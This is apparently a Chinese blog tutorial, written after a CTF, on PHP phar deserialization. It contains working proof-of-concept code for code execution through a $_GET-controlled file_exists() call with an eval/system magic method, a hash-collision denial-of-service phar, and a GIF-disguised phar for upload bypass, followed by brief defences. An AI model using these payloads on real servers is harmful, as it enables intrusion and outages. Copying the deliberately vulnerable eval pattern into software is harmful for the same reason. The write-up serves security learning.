之前做CTF遇到phar反序列化漏洞概念,这里小结一下。

基本概念

phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件,用于归档。当PHP 版本>=5.3时默认开启支持PHAR文件的。

phar文件默认状态是只读,使用phar文件不需要任何的配置。

而phar://伪协议即PHP归档,用来解析phar文件内容。

phar文件结构

1、stub

一个供phar扩展用于识别的标志,格式为xxx\<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2、manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

3、contents

被压缩文件的内容。

4、signature

签名,放在文件末尾,格式如下:

###phar使用Demo

注意:生成phar文件需要修改php.ini中的配置:

phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class User{
var $name;
}

@unlink("SKI12.phar");
$phar = new Phar("SKI12.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->name = "Kobe";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

使用WinHex查看该phar文件,可以看到前面是stub,接着是manifest,包含以序列化的形式存储用户自定义的meta-data信息即这里的User类对象:

phar_parse.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php 

class User {
var $name;
function __destruct(){
echo $this->name;
}
}

$filename = 'phar://SKI12.phar/test.txt';
file_exists($filename);
?>

为了验证使用phar://伪协议解析phar文件时对meta-data进行反序列化操作,这里添加__destruct()魔法函数进行输出验证:

漏洞点

phar反序列化漏洞的漏洞点在于使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化;当Metadata内容可由用户控制,则会存在反序列化漏洞风险。

受影响的PHP文件操作函数列表如下:

在php-src/ext/phar/phar.c中可以查看到phar在解析metadata时会调用php_var_unserialize()函数来对metadata进行反序列化操作:

利用条件

  • 能够上传phar文件到服务器,可将phar文件伪装成其他格式文件绕过上传;
  • 要有可用的魔术方法作为“跳板”;
  • 文件操作函数的参数可控,且:、/、phar等特殊字符未被过滤。

    Demo1——反序列化任意代码执行

这种情况利用条件较为苛刻,需要有可用的魔术方法,在实际场景较为少见,多见于CTF比赛。

phar1.php

将恶意代码注入到对象中并在设置Metadata信息中实现序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class User{
var $data;
}

@unlink("SKI12.phar");
$phar = new Phar("SKI12.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->data = "phpinfo()";
// $o->data = "whoami";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

使用WinHe查看该phar文件,可以看到注入的代码在序列化后的Metadata信息中:

phar2.php

可利用的魔术方法有__destruct()和__wakeup()等。

通过GET方法的形式控制文件操作函数的参数,并且存在可利用的魔法函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 

$filename = $_GET['file'];

class User {
var $data;
public function __wakeup() {
eval("$this->data;");
// system($this->data);
}
}

file_exists($filename);
?>

PHP代码执行:

或系统命令执行:

Demo2——PHP内核哈希表碰撞攻击

相比于上一种利用方式,这种不需要苛刻的有可用的魔术方法的条件只需可控参数的文件操作函数的条件即可。
在PHP内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的key使哈希表退化成单链表(时间复杂度从O(1) => O(n))来触发拒绝服务攻击。

PHP修复此漏洞的方式是限制通过$_GET或$_POST等方式传入的参数数量,但是如果PHP脚本通过json_decode()或unserialize()等方式获取参数,依然将受到此漏洞的威胁。

phar_dos.php

生成恶意DoS phar文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$obj = new stdClass;
$obj->dos = $array;

$phar = new Phar("dos.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($obj);
$phar->addFromString("dos.txt", "dos");
$phar->stopBuffering();

?>

使用WinHex查看该phar文件,可以看到Metadata信息中序列化的内容为含有大量元素的数组:

phar_dos_attack.php

这里直接通过执行先后的时间差进行测试,通过GET方法的形式控制文件操作函数的参数。

1
2
3
4
5
6
7
<?php
$filename = $_GET['file'];
$startTime = microtime(true);
file_exists($filename);
$endTime = microtime(true);
echo 'PHP内核哈希表碰撞DoS攻击造成的延迟时间: '.($endTime - $startTime). ' 秒';
?>

直接通过GET方法传入file参数的值,可看到延迟响应的时间相当长:

Demo3——绕过文件幻数检测

文件幻数检测:主要是检测文件内容开始处的文件幻数,要绕过的话需要在文件开头写上检测的值。

PHP识别phar文件是通过其文件头的stub中的__HALT_COMPILER();?>这段代码,对于其前面的内容和后缀名都没有校验,因此可以通过添加任意的文件头以及修改后缀名的方式将phar文件伪装成其他格式的文件从而绕过文件幻数检测。

生成和解析phar文件的代码和Demo1的一致,区别在于生成phar文件的代码中的setStub()函数前面添加伪造其他格式文件的标志性内容。另外注意的是Phar()函数内的文件名后缀只能写phar,生成后再修改该phar文件后缀名为其他文件格式的后缀名。

这里以GIF文件为示例。

WinHex查看一个正常的GIF图,可以看到一个正常的GIF文件其文件幻数为GIF89a:

在setStub()中内容的开头添加GIT89a:

将生成的SKI12.phar修改为SKI12.gif,使用WinHex查看:

这里直接访问该文件,至于绕过文件格式检测的环境可自行搭建测试一下即可:

防御

  • 在文件系统函数的参数可控时,对参数进行严格的过滤;
  • 严格检查上传文件的内容,而不是只检查文件头;
  • 在条件允许的情况下禁用可执行系统命令、代码的危险函数;

参考

blackhat议题深入 | phar反序列化

利用 phar 拓展 php 反序列化漏洞攻击面